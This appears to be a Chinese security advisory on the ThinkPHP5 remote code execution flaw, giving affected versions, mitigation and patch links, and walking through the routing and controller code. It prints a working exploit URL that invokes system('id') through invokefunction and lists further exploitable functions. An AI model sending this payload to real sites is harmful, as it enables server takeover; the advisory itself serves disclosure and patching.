ThinkPHP5 Getshell漏洞预警

2018-12-10 11:21:26
ThinkPHP是一款运用极广的PHP开发框架。其版本5中,由于没有正确处理控制器名,导致在网站没有开启强制路由的情况下(即默认情况下)可以执行任意方法,从而导致远程命令执行漏洞。
漏洞曝光时间:2018-12-10
漏洞风险程度:高危
漏洞曝光程度:已经存在野外利用
受漏洞影响软件以及版本:

ThinkPHP 5.1.x ~ 5.1.31
ThinkPHP 5.0.x ~ 5.0.23

缓解或修复方案:
更新到最新最新版本
如果暂时无法更新到最新版本,请开启强制路由并添加相应未定义路由,或者参考commit的修改 增加相关代码。
漏洞描述:

ThinkPHP5 远程代码执行漏洞

ThinkPHP5 远程代码执行漏洞

ThinkPHP是一款运用极广的PHP开发框架。其版本5中,由于没有正确处理控制器名,导致在网站没有开启强制路由的情况下(即默认情况下)可以执行任意方法,从而导致远程命令执行漏洞。

漏洞分析

Thinkphp v5.1.x补丁地址: https://github.com/top-think/framework/commit/b4b3e90098143894c7da3a24bdff8a9b95ab29ec

问题代码在:library/think/route/dispatch/Module.php

其中关键代码为:

$controller = strip_tags($result[1] ?: $config['default_controller']); //获取控制器名

v5.1.x 中具体操作文件:/thinkphp/library/think/route/dispatch/Module.php

<?php
...
parent::init();
$result = $this->dispatch;
/*
thinkphp支持俩种模式的路由,即:index.php/index/a/b; index.php?s=index/a/b,所以最后$result的值为: $result="index/a/b"
*/
if (is_string($result)) {
$result = explode('/', $result);
}
if ($this->rule->getConfig('app_multi_module')) {
// 多模块部署
$module = strip_tags(strtolower($result[0] ?: $this->rule->getConfig('default_module')));
$bind = $this->rule->getRouter()->getBind();
$available = false;
if ($bind && preg_match('/^[a-z]/is', $bind)) {
// 绑定模块
list($bindModule) = explode('/', $bind);
if (empty($result[0])) {
$module = $bindModule;
}
$available = true;
} elseif (!in_array($module, $this->rule->getConfig('deny_module_list')) && is_dir($this->app->getAppPath() . $module)) {
$available = true;
} elseif ($this->rule->getConfig('empty_module')) {
$module = $this->rule->getConfig('empty_module');
$available = true;
}
// 模块初始化
if ($module && $available) {
// 初始化模块
$this->request->setModule($module);
$this->app->init($module);
} else {
throw new HttpException(404, 'module not exists:' . $module);
}
}
// 是否自动转换控制器和操作名
var_dump($result);
$convert = is_bool($this->convert) ? $this->convert : $this->rule->getConfig('url_convert');
// 获取控制器名
$controller = strip_tags($result[1] ?: $this->rule->getConfig('default_controller')); //分割了/之后取第二个参数
$this->controller = $convert ? strtolower($controller) : $controller;
// 获取操作名
$this->actionName = strip_tags($result[2] ?: $this->rule->getConfig('default_action')); //分割了/之后取第三个参数
// 设置当前请求的控制器、操作
$this->request
->setController(Loader::parseName($this->controller, 1))
->setAction($this->actionName);
return $this;
}
public function exec()
{
// 监听module_init
$this->app['hook']->listen('module_init');
try {
// 实例化控制器
$instance = $this->app->controller($this->controller,
$this->rule->getConfig('url_controller_layer'),
$this->rule->getConfig('controller_suffix'),
$this->rule->getConfig('empty_controller'));
...
$data = $this->app->invokeReflectMethod($instance, $reflect, $vars);
...

$this->app->controller 函数原型 /thinkphp/library/think/App.php

public function controller($name, $layer = 'controller', $appendSuffix = false, $empty = '')
{
list($module, $class) = $this->parseModuleAndClass($name, $layer, $appendSuffix); //调用了parseModuleAndClass
if (class_exists($class)) {
return $this->__get($class);
} elseif ($empty && class_exists($emptyClass = $this->parseClass($module, $layer, $empty, $appendSuffix))) {
return $this->__get($emptyClass);
}
throw new ClassNotFoundException('class not exists:' . $class, $class);
}
protected function parseModuleAndClass($name, $layer, $appendSuffix)
{
if (false !== strpos($name, '\\')) { //如果name中包含\则赋值给class
$class = $name;
$module = $this->request->module();
} else {
if (strpos($name, '/')) {
list($module, $name) = explode('/', $name, 2);
} else {
$module = $this->request->module();
}
$class = $this->parseClass($module, $layer, $name, $appendSuffix);
}
return [$module, $class];
}

所以,来看一下exp,如果访问

http://127.0.0.1:8080/index.php?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id

就调用了

public function invokeFunction($function, $vars = [])
{
try {
$reflect = new ReflectionFunction($function);
$args = $this->bindParams($reflect, $vars);
return call_user_func_array($function, $args);
} catch (ReflectionException $e) {
throw new Exception('function not exists: ' . $function . '()');
}
}

然后传入使用call_user_func_array()方法来动态调用函数从而达到命令执行的效果.

另外可利用的函数如下:

\think\Request/input
\think\template\driver\File/write
\think\view\driver\Php/display
\think\app/invokefunction
\think\Container/invokefunction

参考链接:

http://www.thinkphp.cn/topic/60400.html
http://www.thinkphp.cn/topic/60390.html

最新资讯